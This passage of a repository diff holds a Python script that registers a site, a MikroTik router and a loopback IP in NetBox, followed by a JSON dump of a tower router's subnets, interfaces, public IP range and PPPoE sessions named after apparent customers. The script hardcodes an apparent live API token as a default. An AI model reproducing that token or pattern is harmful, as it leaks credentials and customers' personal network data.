return self.post('dcim/devices/', device_data)
|
||||||
|
|
||||||
|
def get_or_create_manufacturer(self, name):
|
||||||
|
"""Get or create a manufacturer"""
|
||||||
|
response = self.get('dcim/manufacturers/', params={'name': name})
|
||||||
|
if response['count'] > 0:
|
||||||
|
return response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create manufacturer
|
||||||
|
mfg_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': name.lower()
|
||||||
|
}
|
||||||
|
created = self.post('dcim/manufacturers/', mfg_data)
|
||||||
|
return created['id']
|
||||||
|
|
||||||
|
def get_or_create_device_type(self, model, manufacturer_id):
|
||||||
|
"""Get or create a device type"""
|
||||||
|
response = self.get('dcim/device-types/', params={'model': model})
|
||||||
|
if response['count'] > 0:
|
||||||
|
return response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create device type
|
||||||
|
dt_data = {
|
||||||
|
'manufacturer': manufacturer_id,
|
||||||
|
'model': model,
|
||||||
|
'slug': model.lower().replace(' ', '-').replace('/', '-')
|
||||||
|
}
|
||||||
|
created = self.post('dcim/device-types/', dt_data)
|
||||||
|
return created['id']
|
||||||
|
|
||||||
|
def get_or_create_device_role(self, name, slug=None):
|
||||||
|
"""Get or create a device role"""
|
||||||
|
if not slug:
|
||||||
|
slug = name.lower().replace(' ', '-')
|
||||||
|
|
||||||
|
response = self.get('dcim/device-roles/', params={'name': name})
|
||||||
|
if response['count'] > 0:
|
||||||
|
return response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create device role
|
||||||
|
role_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': slug,
|
||||||
|
'color': '2196f3' # Blue color
|
||||||
|
}
|
||||||
|
created = self.post('dcim/device-roles/', role_data)
|
||||||
|
return created['id']
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# Get API token from environment variable or use the one from CLAUDE.md
|
||||||
|
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
|
||||||
|
# Initialize NetBox client
|
||||||
|
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
|
||||||
|
|
||||||
|
print("=== Creating Verona Site and Router in NetBox ===\n")
|
||||||
|
|
||||||
|
# Check if Verona site exists
|
||||||
|
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
|
||||||
|
|
||||||
|
if site_response['count'] == 0:
|
||||||
|
# Create Verona site
|
||||||
|
print("Creating Verona site...")
|
||||||
|
try:
|
||||||
|
site = nb.create_site(
|
||||||
|
name='Verona',
|
||||||
|
slug='verona',
|
||||||
|
status='active',
|
||||||
|
comments='Verona tower site with MikroTik router'
|
||||||
|
)
|
||||||
|
site_id = site['id']
|
||||||
|
print(f"✓ Created Verona site (ID: {site_id})")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create Verona site: {e}")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
site_id = site_response['results'][0]['id']
|
||||||
|
print(f"✓ Verona site already exists (ID: {site_id})")
|
||||||
|
|
||||||
|
# Check if router already exists
|
||||||
|
device_response = nb.get('dcim/devices/', params={'name': 'verona-router', 'site_id': site_id})
|
||||||
|
|
||||||
|
if device_response['count'] == 0:
|
||||||
|
print("\nCreating Verona router device...")
|
||||||
|
|
||||||
|
# Get or create MikroTik manufacturer
|
||||||
|
print(" - Setting up manufacturer...")
|
||||||
|
manufacturer_id = nb.get_or_create_manufacturer('MikroTik')
|
||||||
|
|
||||||
|
# Get or create device type (assuming RouterBOARD or generic)
|
||||||
|
print(" - Setting up device type...")
|
||||||
|
device_type_id = nb.get_or_create_device_type('RouterBOARD', manufacturer_id)
|
||||||
|
|
||||||
|
# Get or create device role
|
||||||
|
print(" - Setting up device role...")
|
||||||
|
role_id = nb.get_or_create_device_role('Router')
|
||||||
|
|
||||||
|
# Create the device
|
||||||
|
try:
|
||||||
|
device = nb.create_device(
|
||||||
|
name='verona-router',
|
||||||
|
device_type_id=device_type_id,
|
||||||
|
role_id=role_id,
|
||||||
|
site_id=site_id,
|
||||||
|
status='active'
|
||||||
|
)
|
||||||
|
device_id = device['id']
|
||||||
|
print(f"✓ Created Verona router device (ID: {device_id})")
|
||||||
|
|
||||||
|
# Add primary IP
|
||||||
|
print("\n - Adding primary IP address...")
|
||||||
|
ip_data = {
|
||||||
|
'address': '10.254.254.101/32',
|
||||||
|
'status': 'active',
|
||||||
|
'description': 'Verona router loopback',
|
||||||
|
'role': 'loopback'
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
ip_response = nb.post('ipam/ip-addresses/', ip_data)
|
||||||
|
ip_id = ip_response['id']
|
||||||
|
|
||||||
|
# Set as primary IP for the device
|
||||||
|
device_update = {
|
||||||
|
'primary_ip4': ip_id
|
||||||
|
}
|
||||||
|
nb.session.patch(f"{nb.api_url}dcim/devices/{device_id}/", json=device_update)
|
||||||
|
print("✓ Added primary IP address")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to add primary IP: {e}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create Verona router: {e}")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
device_id = device_response['results'][0]['id']
|
||||||
|
print(f"✓ Verona router already exists (ID: {device_id})")
|
||||||
|
|
||||||
|
print(f"\n=== Summary ===")
|
||||||
|
print(f"Site: Verona (ID: {site_id})")
|
||||||
|
print(f"Device: verona-router (ID: {device_id})")
|
||||||
|
print(f"\nYou can now run update_netbox_verona.py to add all the subnet and interface data.")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
788
culleoka_config.json
Normal file
788
culleoka_config.json
Normal file
|
|
@ -0,0 +1,788 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.104",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2026-03-26T17:14:55.475749",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.254.254.104/32",
|
||||||
|
"network": "10.254.254.104",
|
||||||
|
"interface": "loopback",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.254/22",
|
||||||
|
"network": "100.64.24.0",
|
||||||
|
"interface": "ether2-netonix",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.158/27",
|
||||||
|
"network": "204.110.188.128",
|
||||||
|
"interface": "public",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.0.104.254/24",
|
||||||
|
"network": "10.0.104.0",
|
||||||
|
"interface": "culleoka-tower",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.111.254/20",
|
||||||
|
"network": "10.10.96.0",
|
||||||
|
"interface": "vlan10_ether2",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.9/29",
|
||||||
|
"network": "10.250.1.8",
|
||||||
|
"interface": "ether1-climax-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.49/29",
|
||||||
|
"network": "10.250.1.48",
|
||||||
|
"interface": "ether6-380-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.9",
|
||||||
|
"interface": "<pppoe-tonyasipes>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.10",
|
||||||
|
"interface": "<pppoe-natashaelmore>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.11",
|
||||||
|
"interface": "<pppoe-karengreen>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.12",
|
||||||
|
"interface": "<pppoe-chrispassonno>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "204.110.188.134",
|
||||||
|
"interface": "<pppoe-radiantlifeministries>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.13",
|
||||||
|
"interface": "<pppoe-wendysanders>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.14",
|
||||||
|
"interface": "<pppoe-johnnygoble>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.15",
|
||||||
|
"interface": "<pppoe-jamesmooney>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.16",
|
||||||
|
"interface": "<pppoe-saidaacosta>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "204.110.188.131",
|
||||||
|
"interface": "<pppoe-marilynfowler>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.18",
|
||||||
|
"interface": "<pppoe-tammylove>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.20",
|
||||||
|
"interface": "<pppoe-duanewright>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.21",
|
||||||
|
"interface": "<pppoe-shamsbashir>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.22",
|
||||||
|
"interface": "<pppoe-priscillacrenshaw>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.24",
|
||||||
|
"interface": "<pppoe-jacobwilliams>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.25",
|
||||||
|
"interface": "<pppoe-russmott>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.27",
|
||||||
|
"interface": "<pppoe-kailynnbarnfield>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.29",
|
||||||
|
"interface": "<pppoe-brianamartinez>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.30",
|
||||||
|
"interface": "<pppoe-mauricioantonio>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.32",
|
||||||
|
"interface": "<pppoe-ericcoffman>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.34",
|
||||||
|
"interface": "<pppoe-ladonnaclark>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.35",
|
||||||
|
"interface": "<pppoe-delainawaite>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.39",
|
||||||
|
"interface": "<pppoe-deannecook>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.43",
|
||||||
|
"interface": "<pppoe-rubenreyez>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.47",
|
||||||
|
"interface": "<pppoe-sandrahoughton>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.48",
|
||||||
|
"interface": "<pppoe-luisarellano>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.49",
|
||||||
|
"interface": "<pppoe-carlaswearingen>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.53",
|
||||||
|
"interface": "<pppoe-doreengrubb>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.122",
|
||||||
|
"interface": "<pppoe-rosahernandez>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.38",
|
||||||
|
"interface": "<pppoe-floydallen>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.31",
|
||||||
|
"interface": "<pppoe-michaelhughes>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.42",
|
||||||
|
"interface": "<pppoe-kristinamurphy>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.17",
|
||||||
|
"interface": "<pppoe-mariacastanon>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.19",
|
||||||
|
"interface": "<pppoe-perlachavez>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "204.110.188.145",
|
||||||
|
"interface": "<pppoe-clayrobertson2>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.28",
|
||||||
|
"interface": "<pppoe-khushbooagarwal2>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.45",
|
||||||
|
"interface": "<pppoe-mariomerlo>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.33",
|
||||||
|
"interface": "<pppoe-shannonclark>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.27.253/32",
|
||||||
|
"network": "100.64.25.46",
|
||||||
|
"interface": "<pppoe-chisediquezada>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "ether1-climax-11ghz",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E1:52",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 9000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether2-netonix",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5-jeff-tv",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E1:56",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6-380-11ghz",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:D3:E1:57",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 9000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-brianamartinez>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-carlaswearingen>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chisediquezada>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chrispassonno>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-clayrobertson2>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-deannecook>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-delainawaite>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-doreengrubb>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-duanewright>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ericcoffman>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-floydallen>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jacobwilliams>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jamesmooney>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-johnnygoble>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kailynnbarnfield>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-karengreen>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-khushbooagarwal2>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kristinamurphy>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ladonnaclark>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-luisarellano>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mariacastanon>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-marilynfowler>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mariomerlo>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mauricioantonio>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-michaelhughes>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-natashaelmore>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-perlachavez>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-priscillacrenshaw>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-radiantlifeministries>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-rosahernandez>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-rubenreyez>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-russmott>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-saidaacosta>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-sandrahoughton>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-shamsbashir>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-shannonclark>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-tammylove>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-tonyasipes>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-wendysanders>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "culleoka-tower",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "92:19:C8:54:82:B3",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "3A:96:B4:1B:8A:0D",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "public",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "52:8D:9B:68:7F:D0",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether2",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan100_netonix8",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan101_netonix9",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan102_netonix10",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan103_netonix13",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan104_netonix14",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
